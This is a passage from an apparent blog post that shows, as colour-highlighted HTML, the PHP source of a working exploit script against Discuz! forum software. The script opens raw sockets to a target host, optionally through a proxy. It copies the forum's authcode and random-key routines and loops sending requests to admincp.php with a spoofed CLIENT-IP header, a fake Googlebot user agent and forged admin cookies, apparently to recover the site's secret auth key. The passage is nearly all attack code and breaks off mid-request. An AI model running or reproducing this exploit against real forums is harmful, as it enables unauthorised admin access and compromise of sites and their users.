#000000">)<br />  {<br />   </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> ((</span><span style="COLOR: #008080">ord</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">]) </span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">32</span><span style="COLOR: #000000"> ) </span><span style="COLOR: #000000">|</span><span style="COLOR: #000000"> (</span><span style="COLOR: #008080">ord</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">]) </span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">126</span><span style="COLOR: #000000"> ))<br />   {</span><span style="COLOR: #800080">$result</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">  .</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;}<br />   </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br />   {</span><span style="COLOR: #800080">$result</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">  </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">];}<br />   </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">dechex</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">ord</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">])))</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">)<br />   {</span><span style="COLOR: #800080">$exa</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">dechex</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">ord</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">]));}<br />   </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br />   {</span><span style="COLOR: #800080">$exa</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"> 0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">dechex</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">ord</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">]));}<br />   </span><span style="COLOR: #800080">$cont</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$cont</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">15</span><span style="COLOR: #000000">) {</span><span style="COLOR: #800080">$cont</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$result</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$exa</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;}<br />  }<br /> </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$exa</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$result</span><span style="COLOR: #000000">;<br />}<br /></span><span style="COLOR: #800080">$proxy_regex</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;<br /><br /></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000"> sendpacketii(</span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">)<br />{<br />  </span><span style="COLOR: #0000ff">global</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$port</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$proxy_regex</span><span style="COLOR: #000000">;<br />  </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">) {<br />    </span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">fsockopen</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">gethostbyname</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$port</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">!</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">) {<br />      </span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">No response from </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$port</span><span style="COLOR: #000000">; </span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">;<br />    }<br />  }<br />  </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"> {<br />    </span><span style="COLOR: #800080">$c</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">preg_match</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$proxy_regex</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">!</span><span style="COLOR: #800080">$c</span><span style="COLOR: #000000">) {<br />      </span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Not a valid proxy<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;</span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">;<br />    }<br />    </span><span style="COLOR: #800080">$parts</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">explode</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Connecting to </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$parts</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$parts</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"> proxy<img src="http://www.phpweblog.net/images/dot.gif" />\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">fsockopen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$parts</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$parts</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]);<br />    </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">!</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">) {<br />      </span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">No response from proxy<img src="http://www.phpweblog.net/images/dot.gif" /></span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;</span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">;<br />    }<br />  }<br />  </span><span style="COLOR: #008080">fputs</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">);<br />  </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">) {<br />    </span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">feof</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">)) {<br />      </span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">.=</span><span style="COLOR: #008080">fgets</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">);<br />    }<br />  }<br />  </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"> {<br />    </span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000"> ((</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">feof</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">)) or (</span><span style="COLOR: #000000">!</span><span style="COLOR: #008080">eregi</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0x0d</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0x0a</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0x0d</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0x0a</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">))) {<br />      </span><span style="COLOR: #800080">$html</span><span style="COLOR: #000000">.=</span><span style="COLOR: #008080">fread</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br />    }<br />  }<br />  </span><span style="COLOR: #008080">fclose</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$ock</span><span style="COLOR: #000000">);<br />}<br /><br /></span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">];<br /></span><span style="COLOR: #800080">$path</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">];<br /></span><span style="COLOR: #800080">$port</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">80</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #800080">$argc</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">){<br /></span><span style="COLOR: #800080">$temp</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">][</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">];<br /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$temp</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-p</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)<br />{<br />  </span><span style="COLOR: #800080">$port</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">str_replace</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-p</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">]);<br />}<br /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$temp</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-P</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)<br />{<br />  </span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">=</span><span style="COLOR: #008080">str_replace</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">-P</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">,</span><span style="COLOR: #800080">$argv</span><span style="COLOR: #000000">[</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">]);<br />}<br />}<br /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> ((</span><span style="COLOR: #800080">$path</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">) or (</span><span style="COLOR: #800080">$path</span><span style="COLOR: #000000">[</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$path</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">&lt;&gt;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)) {</span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">Error<img src="http://www.phpweblog.net/images/dot.gif" /> check the path!</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">; </span><span style="COLOR: #0000ff">die</span><span style="COLOR: #000000">;}<br /></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$proxy</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">) {</span><span style="COLOR: #800080">$p</span><span style="COLOR: #000000">=</span><span style="COLOR: #800080">$path</span><span style="COLOR: #000000">;} </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"> {</span><span style="COLOR: #800080">$p</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">http://</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$port</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$path</span><span style="COLOR: #000000">;}<br /><br /></span><span style="COLOR: #0000ff">echo</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">please wait<img src="http://www.phpweblog.net/images/dot.gif" />\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br /><br /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">from global.func.php</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000"> authcode(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$operation</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">) {<br />    </span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">?</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">:</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$GLOBALS</span><span style="COLOR: #000000">[</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">discuz_auth_key</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">];<br />    </span><span style="COLOR: #800080">$coded</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$keylength</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">32</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$operation</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">DECODE</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">?</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">base64_decode</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">:</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">;<br />       </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">); </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">+=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">32</span><span style="COLOR: #000000">) {<br />        </span><span style="COLOR: #800080">$coded</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">substr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$string</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">32</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">^</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$key</span><span style="COLOR: #000000">;<br />    }<br />    </span><span style="COLOR: #800080">$coded</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$operation</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">==</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ENCODE</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">?</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">str_replace</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">base64_encode</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$coded</span><span style="COLOR: #000000">)) </span><span style="COLOR: #000000">:</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$coded</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$coded</span><span style="COLOR: #000000">;<br />}<br /><br /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">stolen from install.php</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000"> random(</span><span style="COLOR: #800080">$length</span><span style="COLOR: #000000">) {<br />    </span><span style="COLOR: #800080">$hash</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">''</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$max</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">-</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #008080">mt_srand</span><span style="COLOR: #000000">((</span><span style="COLOR: #0000ff">double</span><span style="COLOR: #000000">)</span><span style="COLOR: #008080">microtime</span><span style="COLOR: #000000">() </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">1000000</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$length</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">) {<br />        </span><span style="COLOR: #800080">$hash</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$chars</span><span style="COLOR: #000000">[</span><span style="COLOR: #008080">mt_rand</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$max</span><span style="COLOR: #000000">)];<br />    }<br />    </span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000"> </span><span style="COLOR: #800080">$hash</span><span style="COLOR: #000000">;<br />}<br /><br /></span><span style="COLOR: #800080">$agent</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Googlebot/2.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br /></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">see sql errors<img src="http://www.phpweblog.net/images/dot.gif" /> you need auth key,<br />//it's a value mixed up with the random string in cache_settigns.php and your user-agent, so let's ask ;)</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #800080">$tt</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">""</span><span style="COLOR: #000000">;</span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">255</span><span style="COLOR: #000000">; </span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">){</span><span style="COLOR: #800080">$tt</span><span style="COLOR: #000000">.=</span><span style="COLOR: #008080">chr</span><span style="COLOR: #000000">(</span><span style="COLOR: #800080">$i</span><span style="COLOR: #000000">);}<br /></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)<br />{<br />    </span><span style="COLOR: #800080">$discuz_auth_key</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">random(</span><span style="COLOR: #000000">32</span><span style="COLOR: #000000">);<br />    </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">GET </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$p</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">admincp.php?action=recyclebin HTTP/1.0\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">CLIENT-IP: 999.999.999.999\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">spoof</span><span style="COLOR: #008000"><br /></span><span style="COLOR: #000000">    </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">User-Agent: $agent\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Host: </span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$host</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Cookie: adminid=1; cdb_sid=1; cdb_auth=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">authcode(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">suntzu\tsuntzu\t</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">.</span><span style="COLOR: #800080">$tt</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ENCODE</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />    </span><span style="COLOR: #800080">$packet</span><span style="COLOR: #000000">.=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Accept: text/plain\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">;<br />    